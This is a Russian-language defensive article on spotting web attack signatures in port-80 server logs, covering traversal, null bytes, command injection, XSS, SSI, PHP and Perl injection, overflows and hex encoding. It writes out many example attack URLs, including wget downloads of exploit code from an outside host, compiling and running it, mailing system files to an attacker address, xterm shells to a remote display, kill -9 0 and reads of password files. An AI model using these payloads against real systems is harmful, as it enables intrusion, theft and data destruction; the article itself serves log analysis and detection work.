1. Вступление
2. Простые сигнатуры
3. Продвинутые сигнатуры
4. Переполнения
5. Шестнадцатеричное кодирование
6. Заключение
Порт 80 является стандартным для web-сайтови может иметь много различных проблембезопасности. Эти дыры могут позволитьхакеру получить административный доступ кweb-сайту, или даже к самому web-серверу. В этойстатье рассмотрены некоторые сигнатуры,характерные для таких атак, а также то, чтоследует искать в логах.
В этом разделе вы найдете стандартныеследы взлома web-серверов и web-приложений. Выне увидите здесь все возможные вариантыатак, но узнаете, как они обычно выглядят.Эти сигнатуры охватят большинствоизвестных и неизвестных дыр, которые хакерымогут использовать против вас. Также здесьописано, для чего используется каждая изсигнатур, или как может быть использованапри атаке.
Это наиболее часто встречающиесясигнатуры атак как в web-приложениях, так и вweb-серверах. Они используются хакером иличервем для смены директорий на сервере,чтобы получить доступ к непубличнымразделам. Большинство CGI-дыр содержатзапросы "..".
Пример:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
Данная команда показывает хакеру "Messageof the Day". Если хакер имеет возможностьпросматривать на вашем web-сервередиректории вне web-корневой, он может собратьдостаточно информации для получения нужныхпривилегий.
Это шестнадцатеричное значение символапробела. Его наличие еще не означает, чтовас атаковали, так как некоторые web-приложенияиспользуют его при правомерных запросах.Однако, этот запрос также можетиспользоваться при запуске команд. Так чтобудьте внимательны при проверке логов.
Пример:
http://host/cgi-bin/lame.cgi?page=ls%20-al| (стандартная для UNIX-системкоманда ls -al)
В этом примере показывается, как хакерзапускает команду ls под UNIX с передачей ейаргумента. Этот аргумент дает хакеру полныйлистинг директории, что может помочь хакеруполучить доступ к важным файлам в вашейсистеме или подсказать, как получитьдополнительные привилегии.
Это шестнадцатеричный код нулевого байта.Может использоваться, чтобы обмануть web-приложение,будто был запрошен другой файл.
Пример:
http://host/cgi-bin/lame.cgi?page=index.html
Показанный пример может быть разрешеннымзапросом на сервере. Если хакер обнаружитэто, он наверняка использует запрос дляпоиска дыр на нем.
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
Web-приложение может запретить этот запрос,если проверяет, чтобы имена файловзаканчивались на .htm, .html, .shtml, или другиеразрешенные расширения. Многие приложенияпосчитают запрошенный тип файланедопустимым. И зачастую дадут ответ хакеру,что файл должен иметь разрешенный тип.Таким образом хакер может получить именадиректорий, файлов, и затем, возможно,собрать больше информации о вашей системе.
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00.html
При таком запросе приложение считает, чтоимя файла относится к разрешенному типу.Некоторые web-приложения плохо проводятпроверку на правильность запроса файла,поэтому это частый метод, используемыйхакером.
Вертикальная черта (pipe), частоиспользуется в UNIX для запуска несколькихкоманд одновременно в одном запросе
Пример:
cat access_log| grep -i ".."
(Этот пример показывает проверку лога наприсутствие запросов ”..”, которые частоиспользуются хакерами и червями.) Web-приложениячасто используют этот символ, поэтому егоналичие в логах может оказаться ложнойтревогой. Чтобы понизить частоту ложныхтревог, необходим тщательный анализ вашегопрограммного обеспечения и его работы.
Несколько примеров:
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
Этот запрос является обычным вызовом “ls”.Ниже приведены другие варианты этогозапроса.
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
Этот запрос выдает полный листингдиректории “etc”.
http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
Данный запрос запускает команду "cat",а затем “grep” с аргументом “-i”.
Этот символ позволяет запускатьнесколько команд в одной строке в UNIX-системе.
Пример:
id;uname –a (Запускается команда “id”, затем “uname”)
Web-приложения часто используют этотсимвол, поэтому возможны ложные тревоги.Повторю, тщательное изучение вашегопрограммного обеспечения и его работыпонизит уровень ложных тревог.
Эти символы следует проверять в логах помногим причинам, первая из которых в том,что они используются для вывода данных вфайл.
Пример 1:
echo "your hax0red h0 h0" >> /etc/motd
(Это пример записи информации в файл.)Хакер может использовать такой запроснапример для дефейса вашего web-сайта.Знаменитый эксплоит RDS от rain.forest.puppy частоиспользовался хакерами для вводаинформации в главную страницу web-сайтов.Примеры взломанных web-сайтов с белымистраницами, без форматирования, ищите наattrition.org.
Пример 2:
http://host/something.php=<b>Hi%20mom%20I'm%20Bold!</b>
Это пример cross-site скриптовой атаки. HTML тэгииспользуют символы "<" и ">".Хотя такая атака не дает хакеру доступ ксистеме, она может использоваться длявведения людей в заблуждение относительноадекватности информации на сайте. (Конечно,им нужно посетить нужную хакеру ссылку.Этот запрос может быть замаскированкодированием символов в шестнадцатеричномвиде, чтобы не быть столь очевидным.)
Этот символ часто используется в SSI (Server SideInclude) атаках. Эта атака может дать хакерурезультаты, аналогичные предыдущей атаке,когда обманутый пользователь нажимает нассылку.
Пример:
http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->
В этом примере присоединяется файл с host2,при этом создается впечатление, будто оннаходится на host1. Как и в прошлый раз, длявыполнения атаки пользователь долженпосетить нужную хакеру ссылку.
Кроме того, это позволяет хакерузапускать команды на вашей системе справами пользователя web-сервер.
Пример:
http://host/something.php=<!%20#<!--#exec%20cmd="id"-->
Запускает команду "id" на удаленнойсистеме. Она должна показатьпользовательский id web-сервера, которыйобычно называется "nobody" или "www".
Также это может позволить присоединениескрытых файлов.
Пример:
http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->
Эта команда присоединяет файл .htpasswd. Этотфайл не должен быть доступен каждому, и вApache даже встроено правило, запрещающеедоступ к .ht. SSI тэг обходит это, что можетвызвать проблемы с безопасностью.
Часто используются при попытке вставитьPHP в удаленное web-приложение. Делаетвозможным запуск команд в зависимости отустановок сервера и других факторов.
Пример:
http://host/something.php=<? passthru("id");?>
При плохо написанном PHP-приложении можетзапустить команду на удаленном компьютерес привилегиями пользователя web-сервер.
Кроме того, хакер может записать этотзапрос в шестнадцатеричном виде. Обращайтевнимание на все нестандартное ианализируйте все подозрительное.
Символ обратного штриха частоиспользуется в Perl для запуска команд. Он неиспользуется в нормальных web-приложениях,так что если увидите его в логах –воспримите это серьезно.
Пример:
http://host/something.cgi=`id`
На плохо написанном Perl web-приложении, этакоманда запустит команду “id”.
В этом разделе описаны запускаемыехакерами команды и запрашиваемые файлы, атакже как обнаружить, что вы уязвимы кудаленному запуску команд. Хотя это неполный список команд и файлов,запрашиваемых хакерами, это поможет вампонять, что предпринимается против вашейсистемы.
Это исполняемый модуль команды “ls”. Ончасто запрашивается с полным путем вомногих дырах web-приложений. Если вы увидитеэтот запрос в ваших логах, высокавероятность того, что ваша системаподвержена удаленному запуску команд.Однако, это не всегда является проблемой иможет оказаться ложным сигналом. Повторювновь, важно изучить работу вашего web-приложения.Если это возможно, попробуйте сделатьзапрос, найденный в логах и посмотрите нарезультат.
Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
Это Windows shell. Хакер, имеющий доступ назапуск этого скрипта, наверняка сможетсделать что-нибудь на вашей машине, взависимости от установленных разрешений.Большинство Internet-червей, работающих через 80порт, используют cmd.exe для распространенияна другие удаленные системы.
Пример:
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:
Это исполняемый модуль команды “id”. Ончасто запрашивается с полным путем вомногих дырах web-приложений. Если вы увидитеэтот запрос в ваших логах, высокавероятность того, что ваша системаподвержена удаленному запуску команд.Однако, это не всегда является проблемой иможет оказаться ложным сигналом. Повторювновь, важно изучить работу вашего web-приложения.Если это возможно, попробуйте сделатьзапрос, найденный в логах и посмотрите нарезультат.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
http://host/cgi-bin/bad.cgi?doh=id;
Эти команды часто используются хакерами ичервями для загрузки дополнительных файлов,которые могут использоваться для получениядополнительных системных привилегий. wget –это команда UNIX, может использоваться длязагрузки backdoor. tftp – это UNIX и NT команда,предназначенная для передачи файлов.Некоторые IIS черви используют tftp длязагрузки своей копии на зараженныйкомпьютер, и продолжают распространяться.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
Часто используется для просмотрасодержимого файлов. Может использоватьсядля чтения важной информации, такой какконфигурационные файлы, файлы паролей, и др.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
Эта команда часто используется дляприсоединения данных к файлу, например кindex.html.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;
Показывает список запущенных процессов.Это может подсказать хакеру, какоепрограммное обеспечение запущено наудаленном компьютере и какие дырыбезопасности он может иметь.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
Эти команды используются для закрытияпроцессов в UNIX системе. Хакер можетиспользовать их для остановки системногосервиса или программы. Также хакер можетиспользовать их для сокрытия следов своегоэксплоита, породившего много дочернихпроцессов, или некорректно завершившегося.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
Часто используется хакерами дляопределения имени удаленной машины. Частовебсайт хостится у ISP, и эта команда можетподсказать, к какому ISP он может получитьдоступ. Обычно запрашивается “uname -a” и влогах это выглядит как “uname%20-a”.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
http://host/cgi-bin/bad.cgi?doh=uname%20-a;
Команды “cc” и “gcc” позволяюткомпилировать программы. Хакер можетиспользовать wget или tftp для закачки файлов, азатем использовать эти компиляторы длясоздания эксплоита. С этого моментавозможно все, включая взлом локальнойсистемы.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
Если вы увидите запрос к “Perl” или “python”,возможно, что хакер закачал Perl или pythonскрипт, и пытается взломать вашу систему.
Эта команда может использоваться хакеромдля отправки файлов на e-mail адрес хакера.Также может использоваться для рассылкиспама.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|
http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-2.6.1.c;
Xterm часто используется для получениядоступа к shell удаленной системы. Если выобнаружите ее в своих логах, отнеситесь кэтому очень серьезно, как к возможносерьезной бреши в безопасности. Ищите влогах запрос, содержащий "%20-display%20". Этиследы часто указывают на попытку запуститьxterm или другое X-приложение на удаленномхосте.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
Эти команды позволяют устанавливатьдоступ в UNIX системах. Ниже описано, что ониделают.
chown позволяет устанавливатьпринадлежность файла пользователю
chmod позволяет устанавливать доступ кфайлу
chgrp позволяет устанавливатьпринадлежность файла группе
chsh позволяет менять shell, используемыйпользователем.
Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|
Это файл системных паролей. Обычно он несодержит зашифрованных паролей (т.е. “shadowed”).Однако, может дать хакеру именапользователей, системные пути и, возможно,хостящиеся сайты. Если этот файл “shadowed”,хакер будет пытаться смотреть файл /etc/shadow.
Файл паролей в BSD-системе, содержащийзашифрованные пароли. Доступен для чтениятолько эккаунтом root, но хакер можетпопытаться его прочитать, в надежде наудачу. Если web-сервер запущен с правами root,хакер сможет прочитать этот файл, асистемный администратор может ожидатьбольших проблем.
Системный UNIX-файл, содержащийзашифрованные пароли. Доступен для чтениятолько эккаунтом root, но хакер можетпопытаться его прочитать, в надежде наудачу. Если web-сервер запущен с правами root,хакер сможет прочитать этот файл, асистемный администратор может ожидатьбольших проблем.
Системный файл "Message of the Day" (тема дня)содержит первое сообщение, которое видитпользователь, входящий в UNIX-систему. Онможет содержать важную информацию,адресованную от администраторапользователям, а также версию операционнойсистемы. Хакер может регулярно проверятьэтот файл и знать, какая используетсясистема. Затем он исследует ее на предметэксплоитов, дающих дополнительный доступ кэтой системе.
Этот файл дает информацию об IP-адресах исетевой информации. Хакер можетиспользовать его для поиска дополнительнойинформации о ваших системных/сетевыхнастройках.
Путь к этому файлу бывает разным, здесьпредставлен наиболее часто встречающийся.Это конфигурационный файл web-сервера Apache. Онможет дать хакеру информацию о хостящихсясайтах и более специфическую, например одоступе к CGI или SSI.
Это конфигурационных файл сервиса inetd. Онсодержит системные демоны, используемыеудаленным компьютером. Также можетподсказать хакеру, использует ли удаленнаясистема wrapper для каждого демона. Еслииспользует, тогда хакер проверит "/etc/hosts.allow"и "/etc/hosts.deny", и возможно изменит ихсодержимое, если это даст емудополнительные привилегии.
Эти файлы используются дляаутентификации на web-сайте. Хакерпопытается просмотреть содержимое этихфайлов для получения имен пользователей ипаролей. Пароли находятся в файле htpasswd изашифрованы. Простой взломщик паролей инекоторое потраченное время даст хакерудоступ к некоторым защищенным паролямисессиям на вашем web-сайте, а возможно, и кдругим эккаунтам. (Многие люди используютвезде одинаковые имена пользователя ипароли, и зачастую это дает хакеру доступ кдругим эккаунтам, которые может иметь этотпользователь.)
Это лог-файлы web-сервера Apache. Хакер можетпроверять их, чтобы увидеть, как записалисьего запросы и запросы других пользователей.
Часто хакеры редактируют эти файлы, чтобыудалить следы своего присутствия. Тогдастановится сложно обнаружить хакера,атаковавшего вашу систему через 80 порт,если только не создаются резервные копииили не ведется двойное логгирование.
Это имена файлов паролей Windows NT. Хакерчасто запрашивает эти файлы, если неразрешен удаленный запуск команд. Далее, онзапустит программу типа “l0pht crack”, чтобывзломать пароли на удаленной windows-системе.Если он сможет взломать парольадминистратора, удаленный компьютер в егоруках.
Мы не будем углубляться в переполнениябуфера, но покажем примеры того, как этовыглядит. Переполнения буфера частопрячется с помощью кодирования и другихприемов.
Простой пример:
http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
В этом примере хакер посылает множество“A” в приложение и проверяет его напереполнение буфера. Переполнение буфераможет позволить хакеру удаленный запусккоманд. Если приложение имеет права root, этоможет дать полный доступ к системе.
Вариантов, как может выглядетьпереполнение буфера, великое множество, имы не будем рассматривать их в этой статье.Регулярно проверяйте логи. Если вы увидитеогромные запросы в то время, как для вашегосайта характерны короткие, вероятно этобыла попытка хакера вызвать переполнениебуфера или новая разновидность Интернет-червяатакует вашу машину.
Хакеры знают, что часто IDS системыпроверяют запросы слишком буквально.Поэтому они часто кодируют свои запросы вшестнадцатеричном формате, и IDS пропускаетих. Хороший пример этого - CGI сканер,известный как Whisker. Если вы просмотрели логии увидели огромное количествошестнадцатеричных или других необычныхсимволов, вероятно, что хакер пытался каким-тообразом взломать вашу систему. Быстрыйспособ проверить, что означает этотшестнадцатеричный код – это скопироватьего из лога и вставить в адресную строкуброузера. Если вы не получите ошибку 404,тогда шестнадцатеричный код преобразуетсяи вы увидите его вместе с результатомдействия. Если вы не хотите так рисковать,смотрите для расшифровки ASCII коды.
Эта статья не охватывает все эксплоиты 80порта, но охватывает наиболее частые типыатак. Она также объясняет вам, что искать влогах, и что добавить в правила IDS. Надеюсьтакже, статья поможет web-разработчикамлучше писать web-приложения.